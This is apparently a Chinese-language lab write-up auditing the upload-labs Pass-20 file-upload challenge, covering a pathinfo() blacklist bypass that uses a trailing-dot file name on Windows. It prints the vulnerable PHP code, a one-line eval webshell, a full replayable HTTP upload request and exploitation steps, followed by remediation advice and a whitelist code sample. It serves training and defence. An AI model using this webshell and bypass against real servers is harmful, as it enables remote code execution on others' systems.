upload-labs_Pass-20_2026-08-09

upload-labs 文件上传漏洞靶场代码审计报告

一、靶场信息

项目 内容
靶场名称 upload-labs
关卡编号 Pass-20
漏洞类型 pathinfo() 扩展名解析绕过
审计日期 2026-08-09
目标文件 Pass-20/index.php

二、漏洞概述

Pass-20 允许用户通过 save_name POST 参数指定保存文件名,服务端使用 pathinfo($file_name, PATHINFO_EXTENSION) 获取扩展名并与黑名单比较。pathinfo() 在解析包含特殊字符的文件名时存在语义差异:当文件名为 shell.php.(尾部带点)或 shell.php/ 时,pathinfo() 可能返回空扩展名,从而绕过黑名单校验。Windows 系统保存时会自动去除尾部点,最终生成可执行的 shell.php

  • 危险等级:高危
  • 影响范围:Windows 环境下可上传并执行 PHP 脚本

三、问题代码位置

文件路径Pass-20/index.php

问题代码片段(第 9-40 行)

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa",".jspx",".jsw",".jsv",".jspf",".jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        /*
        $file_name = trim($_POST['save_name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        */

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

四、漏洞分析

4.1 为什么存在这个问题

代码将 save_name 直接作为保存文件名,且仅通过 pathinfo() 获取扩展名进行黑名单校验。pathinfo('shell.php.', PATHINFO_EXTENSION) 返回空字符串,不在黑名单中,因此校验通过。Windows 在保存文件时会自动去除尾部点,最终生成 shell.php

4.2 校验逻辑缺陷

  • 用户完全控制保存文件名 save_name
  • 未对文件名进行过滤、规范化或拒绝特殊字符。
  • pathinfo() 对特殊文件名(如尾部点、斜杠)的解析结果不可靠。
  • 保存路径直接使用用户输入,存在路径穿越风险。

五、利用思路

攻击者上传任意文件,在 save_name 参数中提交 shell.php.(尾部带一个点)。pathinfo() 返回空扩展名,黑名单校验通过。move_uploaded_file() 在 Windows 下保存时去除尾部点,生成 upload/shell.php,Apache 解析执行。


六、POC(Yakit 可直接重放)

6.1 前提条件

  • 靶场访问地址:http://target.com/upload-labs/Pass-20/index.php
  • 目标环境为 Windows
  • WebShell 内容示例:
<?php @eval($_POST['cmd']); ?>

6.2 Yakit 重放 HTTP 请求包

POST /upload-labs/Pass-20/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="any.jpg"
Content-Type: application/octet-stream

<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="save_name"

shell.php.
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--

6.3 利用步骤

  1. 在 Yakit 中新建 HTTP 请求并粘贴上述 POC。
  2. 修改 Host 为实际靶场地址。
  3. 发送请求,pathinfo() 返回空扩展名,黑名单校验通过。
  4. 文件被保存为 upload/shell.php(Windows 去除尾部点)。
  5. 访问 http://target.com/upload-labs/upload/shell.php
  6. 使用 Webshell 管理工具连接,密码 cmd

七、修复建议

  1. 禁止用户控制保存文件名:保存文件名应由服务端随机生成。
  2. 使用白名单扩展名校验:明确允许的图片后缀。
  3. 过滤特殊字符:拒绝文件名中的点、斜杠、空字节等危险字符。
  4. 调用 deldot() 和 trim():对保存文件名进行规范化处理。
  5. 上传目录禁止脚本执行:从 Web 服务器层限制解析。

安全代码示例

$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['upload_file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext)) {
    die('只允许上传图片文件');
}
$new_name = md5(uniqid()) . '.' . $ext;
move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $new_name);

八、参考链接

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注

滚动至顶部